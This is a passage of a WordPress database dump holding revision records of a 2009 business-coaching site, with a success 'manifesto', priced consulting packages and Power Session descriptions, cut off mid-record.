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(397, 2, '2009-07-06 20:06:04', '2009-07-07 03:06:04', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of their current circumstances.\r\n\r\nSuccessful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 20:06:04', '2009-07-07 03:06:04', '', 136, 'http://www.whitehotcenter.com/136-revision-30/', 0, 'revision', '', 0),
(398, 1, '2009-07-06 22:56:25', '2009-07-07 05:56:25', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of\r\n$50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-06 22:56:25', '2009-07-07 05:56:25', '', 138, 'http://www.whitehotcenter.com/138-revision-42/', 0, 'revision', '', 0),
(399, 2, '2009-07-07 09:33:55', '2009-07-07 16:33:55', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif"><img class="alignnone size-full wp-image-320" title="windseeds" src="http://whc.fbdev.org/wp-content/uploads/2009/04/windseeds1.gif" alt="windseeds" width="450" height="270" /></a><span style="color: #ff6600;">There are two simple operating principles behind every remarkable success in business and in life:</span></h2>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\n<h2><span style="color: #333333;">\r\n\r\n</span></h2>\r\n<span style="color: #333333;">In nearly 30-years of consulting with marketing executives, managers, creative entrepreneurs and professionals from diverse industry categories, this is the white hot center of competitive advantage for individuals and organizations alike.  Success, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is.</span>\r\n\r\n<span style="color: #ff6600;"> </span>Thinking is the seed of innovation, growth and expansion– and conversely, lack, limitation and powerlessness. Every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind. As the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"><strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;">“If you think you can or can’t– you’re right”.</span></h2>\r\nDespite our world of exponential change and transformation, these two guiding principles stand evergreen, and form the bedrock of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are and the legacy of your contribution to the world. What really matters to you is sacred, and more so when it serves the good of others. This is where meaning and contribution intersect to form an experience of joy, ease, freedom and creativity within the venue of your business and in your whole life– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n<h2><span style="color: #ff6600;">I inspire corporate executives, managers, creative entrepreneurs, and professionals to discover and define the white hot center of their competitive advantage, and provide guidance to help them bring into physical form the expression of that advantage at every client, customer, or personal encounter. I offer three levels of consulting engagements:</span></h2>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting Package</h2>\r\nThis engagement is for mid to larger-scale enterprises with revenue of $50 million +. Typically this package involves guidance and ideas with business leaders on the strategic issues of positioning, brand strategy, differentiation, naming, corporate and brand identity, and creative direction on the verbal and visual messaging of brand or corporate communications to internal and external groups. The business imperatives that drive this level of engagement typically involve growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is a 3-4 month engagement.\r\n<span style="color: #ff6600;">Learn more here</span></span><span style="color: #ff6600;">.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed to provide small business owners, creative entrepreneurs and professionals with strategic and creative guidance to help them focus on discovering within themselves the creative and innovative power of their own white hot center–what matters most to them and how that will serve others. From that increased awareness, there is notably more clarity and conviction to maintain the discipline necessary to create the success we desire. The outcome here is to gain deeper insight and clarity around the strategic issues facing your business and personal growth, develop a differentiated positioning that matters to your customers and elevates their perception of your brand and your business. Then we develop the tools to help you express your unique advantage in ways that influence greater business results and a bigger future.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 6-8 weeks in duration.\r\nLearn more here.</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a structure, we jam on your best thinking, and develop a plan to move it into the physical form you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (5) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future. Learn more here.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $600 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will\r\nguide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference. Learn more here.\r\n<strong> </strong>\r\n\r\n<span style="color: #ff6600;"><strong>How to start the burn</strong>\r\nSend a query email directly to me: thomson@whitehotcenter.com\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future.</span>\r\n\r\n<strong>The only result I can promise you from engaging in a White Hot Center Consulting Package is you will be totally inspired and challenged to take your next bigger step. Playing a bigger game requires a better player. My work is based on contributing my talent and expertise to help you master the inner game that determines your outer results.  All I can do is be a catalyst for change, increase your awareness of your unique capabilities, and inspire you to make courageous decisions about the strategic and creative nature of growing your influence and contribution to the world through the venue of your business. I am looking forward to working with you!\r\n</strong>\r\n\r\n<strong> </strong>', 'White Hot Center Consulting Packages', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2009-07-07 09:33:55', '2009-07-07 16:33:55', '', 138, 'http://www.whitehotcenter.com/138-revision-43/', 0, 'revision', '', 0),
(400, 1, '2009-06-08 20:29:28', '2009-06-09 03:29:28', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam et nulla non orci ullamcorper rhoncus et nec enim. Nulla ipsum orci, luctus et sodales ac, rutrum in justo. Aliquam quis nisl porta diam iaculis pellentesque nec vitae elit. Nulla vel quam in nibh venenatis convallis. Vestibulum tortor magna, commodo a scelerisque vel, vulputate non purus. Nulla facilisi. Proin ut mauris sit amet dolor pretium pellentesque. Nunc lorem diam, posuere vel congue nec, hendrerit ut lectus. Cras in libero orci, quis eleifend magna. Vivamus lectus arcu, dictum a adipiscing sit amet, pulvinar eget risus. Sed eget ante nibh, vitae congue lectus. Nullam viverra egestas libero, et tincidunt velit sollicitudin sed. Nulla facilisi. Nam sollicitudin pulvinar velit at consequat. Nulla eu ipsum magna, in feugiat diam. Proin erat mauris, rhoncus quis gravida id, commodo nec ligula. Nunc eget tortor sed diam ornare condimentum. Phasellus id sapien arcu.\r\n\r\nPhasellus ultricies viverra dignissim. Ut a cursus lacus. Etiam accumsan, mi in sodales blandit, magna erat scelerisque libero, in elementum velit justo quis eros. Donec congue libero urna, nec accumsan felis. Mauris vel odio leo, non venenatis justo. Nulla sit amet enim enim, vitae porta sem. Mauris vel diam massa. Phasellus mauris lorem, ultrices vel eleifend at, tincidunt ut augue. Proin at ligula urna, a mattis ipsum. Phasellus quis mollis nisl.\r\n\r\nPhasellus ultricies, ipsum eu porttitor suscipit, felis lorem viverra enim, eu dignissim ante enim quis tellus. Quisque bibendum ante non sapien pellentesque congue. Nulla non ipsum ac magna facilisis bibendum. Maecenas pulvinar fringilla enim, et adipiscing augue tristique id. In hac habitasse platea dictumst. Vivamus viverra velit quis nisl auctor nec sodales mi interdum. Ut pretium, enim vel laoreet pharetra, eros est rutrum metus, a mollis augue tortor ut lectus. Quisque vitae leo sit amet tortor feugiat condimentum quis varius diam. Quisque eu nunc lectus, vitae vestibulum orci. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Mauris convallis urna eget quam gravida varius.<span> </span>', 'Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-06-08 20:29:28', '2009-06-09 03:29:28', '', 200, 'http://www.whitehotcenter.com/200-revision-4/', 0, 'revision', '', 0),
(401, 2, '2009-07-07 10:48:30', '2009-07-07 17:48:30', '<h2><span style="color: #ff6600;">What fires you up? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span></h2>\r\nPower Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world. here''s how it works:\r\n\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. Afterwards, I''ll send you back an MP3 file of our Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD</span>\r\n\r\n<span style="color: #ff6600;">Extended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. Most of this experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: www.pullinc.com\r\n\r\nMy speciialized expertise will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n\r\nIt''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-07 10:48:30', '2009-07-07 17:48:30', '', 200, 'http://www.whitehotcenter.com/200-revision-5/', 0, 'revision', '', 0),
(402, 2, '2009-07-07 10:54:48', '2009-07-07 17:54:48', '<h2><span style="color: #ff6600;">What fires you up? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world. here''s how it works:\r\n\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. Afterwards, I''ll send you back an MP3 file of our Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD</span>\r\n\r\n<span style="color: #ff6600;">Extended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. Most of this experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: www.pullinc.com\r\n\r\nMy speciialized expertise will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n\r\nIt''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-07 10:54:48', '2009-07-07 17:54:48', '', 200, 'http://www.whitehotcenter.com/200-revision-6/', 0, 'revision', '', 0),
(403, 2, '2009-07-07 10:55:53', '2009-07-07 17:55:53', '<h2><span style="color: #ff6600;">What fires you up? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world. here''s how it works:\r\n\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go.\r\n\r\n<strong>The Consulting Session</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas, strategies and methods for branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision. Afterwards, I''ll send you back an MP3 file of our Session for your future reference.\r\n\r\n<strong>The Fee</strong><span style="color: #ff6600;">\r\n1on1Power Sessions: $600 USD</span>\r\n\r\n<span style="color: #ff6600;">Extended Power Session: $2,500 USD</span>\r\nI also offer an Immersion Jam of (5) additional Power Sessions if you would like to have a deeper and more rigorous opportunity for guidance on your chosen tactics for realizing your vision. You save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n\r\n<strong>My Expertise</strong>\r\nFor 30 years, I have been helping corporate executives, creative professionals and solo entrepreneurs discover and express the white hot center of their competitive advantage in their business. Most of this experience has been consulting and creative services for global companies on corporate identity, brand strategy, marketing, visual design and business communications in print and digital form. Check out my work and brand consulting firm here: www.pullinc.com\r\n\r\nMy speciialized expertise will help you find more clarity and conviction to pursue a course of action that will lead you to the realization of your vision for a bigger future. The outer form of our interaction together could lead you to more effectively defining your value in the marketplace, developing a compelling positioning for your business, an elevated verbal and visual business identity that will form the strong foundation on which you will grow your business on, new business models and product ideas. More importantly, I can help you focus and maintain your discipline to work with the principles of the inner game that determines your outer success.\r\n\r\nIt''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surrounds you at all times. My life''s great work is to use my talent and expertise to guide you closer to your own inner creative power – your white hot center!', 'White Hot Power Sessions', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2009-07-07 10:55:53', '2009-07-07 17:55:53', '', 200, 'http://www.whitehotcenter.com/200-revision-7/', 0, 'revision', '', 0),
(404, 2, '2009-07-07 10:59:35', '2009-07-07 17:59:35', '<h2><span style="color: #ff6600;">What fires you up? Where do you go from here? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 Power Session. </span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #333333;">The big idea is to gain clarity and deeper conviction about what matters to you and how that gets expressed as a value proposition in your business!</span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for solo entrepreneurs, creative professionals, artists and brave souls who seek more clarity and conviction to pursue their ideas for a bigger future. The format is simple. We have a creative think conversation on your ideas for growing and expanding your business and influence in the world.\r\n<h2><span style="color: #ff6600;">Here''s how it works:</span><strong>\r\n</strong></h2>\r\n<strong>Advance Assessment</strong>\r\n\r\nIn advance (usually a week or so ) of our call, I''ll send you some questions that will focus our conversation on your burning desires. You''ll provide me with your answers, send me links to your site, printed materials and any resources 